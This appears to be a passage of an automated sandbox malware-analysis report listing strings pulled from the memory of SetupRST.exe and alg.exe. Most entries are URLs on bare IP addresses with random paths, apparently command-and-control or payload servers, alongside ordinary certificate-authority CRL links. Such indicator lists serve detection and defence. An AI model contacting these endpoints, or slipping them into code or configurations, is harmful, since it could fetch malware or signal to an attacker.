Source: alg.exe, 00000004.00000003.2141050049.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/cmri
Source: alg.exe, 00000004.00000003.2220514909.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2201440892.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2238199459.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/dq0
Source: alg.exe, 00000004.00000003.1992785874.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1964112463.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1976380319.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005243132.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.208.156.248:80/syefsgspiwwwgtPv
Source: alg.exe, 00000004.00000003.2201440892.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2188352338.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://18.246.231.120:80/fowjhr
Source: alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/
Source: alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/0P
Source: alg.exe, 00000004.00000003.2090117262.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/dP
Source: alg.exe, 00000004.00000003.2006481076.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1992027048.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2049829059.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2056556401.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2060002824.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1975542737.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2004420652.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/dlcaaocksbeg
Source: alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/fbdP
Source: alg.exe, 00000004.00000003.2090117262.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/gs
Source: alg.exe, 00000004.00000003.2100368860.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2101056000.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2089014856.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2111875189.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2114553024.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/smymaayghjits
Source: alg.exe, 00000004.00000003.2090117262.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245/sxP
Source: alg.exe, 00000004.00000003.1976380319.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245:80/afb
Source: alg.exe, 00000004.00000003.1992785874.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1976380319.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005243132.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038331133.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245:80/dlcaaocksb
Source: alg.exe, 00000004.00000003.2087836390.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2100368860.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://208.100.26.245:80/n
Source: alg.exe, 00000004.00000003.2038493315.00000000005BA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2036331410.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.94.10.34/bixuuichtxn
Source: alg.exe, 00000004.00000003.2036331410.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2046353449.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038331133.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.94.10.34:80/bixuuichtxn
Source: alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45/
Source: alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45/ctyqtta
Source: alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45/ctyqtta6c8e8c94
Source: alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45/ctyqttadP
Source: alg.exe, 00000004.00000003.2100368860.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2111875189.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.211.97.45:80/ctyqtta
Source: alg.exe, 00000004.00000003.1992871085.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1976493433.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1955534393.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1964235205.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160/
Source: alg.exe, 00000004.00000003.1955534393.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160/m0P
Source: alg.exe, 00000004.00000003.1955475548.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://34.246.200.160:80/m0
Source: alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2028168899.00000000005B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200/kxyxrjl
Source: alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://35.164.78.200:80/kxyxrjl
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2154538122.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/1_L
Source: alg.exe, 00000004.00000003.1890078257.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/8P
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/GL
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/afq7L
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/cL
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nafq
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nafq7
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nafqNb
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nafqSL
Source: alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/ngs
Source: alg.exe, 00000004.00000003.1955061132.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1917185232.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1935029720.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1963314531.00000000005BB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1890078257.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1889274317.00000000005BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nrkvuwfbbmudeg
Source: alg.exe, 00000004.00000003.1890078257.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/nrkvuwfbbmudegs
Source: alg.exe, 00000004.00000003.2005345842.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/pP
Source: alg.exe, 00000004.00000003.1598226540.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1583186598.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1602062638.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105/vatrkltejhvnocyxv
Source: alg.exe, 00000004.00000003.2005243132.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2005939739.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/b
Source: alg.exe, 00000004.00000003.2153926440.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/lrnoivnqn
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/nafq
Source: alg.exe, 00000004.00000003.1918301037.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1943038453.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1889955235.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/nrkvuwfbbmudeg
Source: alg.exe, 00000004.00000003.1583186598.00000000005A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://44.221.84.105:80/vatrkltejhvnocyx
Source: alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/
Source: alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/yllrrd
Source: alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/yllrrdN
Source: alg.exe, 00000004.00000003.1880831635.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/yllrrdP
Source: alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212/yllrrdngs
Source: alg.exe, 00000004.00000003.1880717416.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1860907623.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://47.129.31.212:80/yllrrdbat
Source: alg.exe, 00000004.00000003.1499741394.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/
Source: SetupRST.exe, 00000000.00000002.1528600545.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177//L
Source: SetupRST.exe, 00000000.00000003.1486199674.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/;L
Source: SetupRST.exe, 00000000.00000003.1486199674.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/GL
Source: alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/clfmdnt
Source: alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/clfmdnt8c94
Source: alg.exe, 00000004.00000003.2071299807.00000000005B8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2072974664.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/dkyuslowywlmqnqa)
Source: SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/epijprbe1E
Source: alg.exe, 00000004.00000003.1573524866.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/gbbbebxxV
Source: alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/gs
Source: alg.exe, 00000004.00000003.2090117262.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2101951916.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/gs8P
Source: alg.exe, 00000004.00000003.1522008090.000000000058B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1500186618.0000000000589000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1522135824.000000000058E000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1499741394.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1499650988.000000000058C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/gvfsthloy
Source: alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/s
Source: alg.exe, 00000004.00000003.2016536836.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1499741394.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/tP
Source: SetupRST.exe, 00000000.00000002.1528600545.000000000055B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/uiymjppob
Source: SetupRST.exe, 00000000.00000003.1486297236.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, SetupRST.exe, 00000000.00000003.1486049445.00000000005CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177/uiymjppobNb
Source: SetupRST.exe, 00000000.00000003.1521074372.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/cahftjsoels
Source: alg.exe, 00000004.00000003.2036331410.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2027468907.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2017812631.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2015407794.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2038331133.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/clfmdnt
Source: alg.exe, 00000004.00000003.2070053869.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/dkyuslowywlmqnqa
Source: SetupRST.exe, 00000000.00000003.1509851528.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/epijprbe
Source: alg.exe, 00000004.00000003.1573524866.00000000005A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/gbbbebxx
Source: alg.exe, 00000004.00000003.2129791138.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2111875189.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.2141050049.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/qxmvdf
Source: alg.exe, 00000004.00000003.1573524866.00000000005A9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1562326583.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1562032588.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/stcojqthrenppf
Source: SetupRST.exe, 00000000.00000002.1528600545.000000000058C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://54.244.188.177:80/uiymjppob
Source: alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/0P
Source: alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/PbVPP
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/Wp~V
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/dlhkke
Source: alg.exe, 00000004.00000003.1817762603.000000000058F000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1784162906.000000000058F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/dlhkkehyjjgrporQ
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/dlhkkengs
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/gs
Source: alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/gslP
Source: alg.exe, 00000004.00000003.1784162906.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1880831635.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1817065390.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1861004204.000000000056D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/hP
Source: alg.exe, 00000004.00000003.1842496815.000000000055B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/lsowwnafegrqlgyr
Source: alg.exe, 00000004.00000003.1842496815.000000000056D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197/lsowwnafegrqlgyr9
Source: alg.exe, 00000004.00000003.1784162906.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1816974131.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842398860.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/dlhkke
Source: alg.exe, 00000004.00000003.1845208976.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1842398860.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1860907623.00000000005A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/lsowwnafegrqlgyrbat
Source: alg.exe, 00000004.00000003.1784162906.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1728305996.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/oskjpuhhyjjgrpor
Source: alg.exe, 00000004.00000003.1784162906.00000000005AA000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000004.00000003.1728305996.00000000005AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.112.184.197:80/vjelbmrjrdasivudPf
Source: SetupRST.exe	String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: SetupRST.exe	String found in binary or memory: http://certificates.godaddy.com/repository/gd_intermediate.crt0
Source: SetupRST.exe	String found in binary or memory: http://certificates.godaddy.com/repository/gdroot.crl0K
Source: SetupRST.exe	String found in binary or memory: http://certificates.godaddy.com/repository0
Source: SetupRST.exe	String found in binary or memory: http://certificates.godaddy.com/repository100.
Source: SetupRST.exe	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: SetupRST.exe	String found in binary or memory: http://certs.starfieldtech.com/repository/1/0-
Source: SetupRST.exe	String found in binary or memory: http://crl.godaddy.com/gds5-16.crl0S
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: SetupRST.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/0
Source: SetupRST.exe	String found in binary or memory: http://crl.starfieldtech.com/repository/sfsroot.crl0P
Source: SetupRST.exe	String found in binary or memory: http://crl.starfieldtech.com/sfsroot.crl0S
Source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1519363398.000001ED04AA0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519310871.000001ED04A90000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04AF3000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04D7F000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04CF1000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
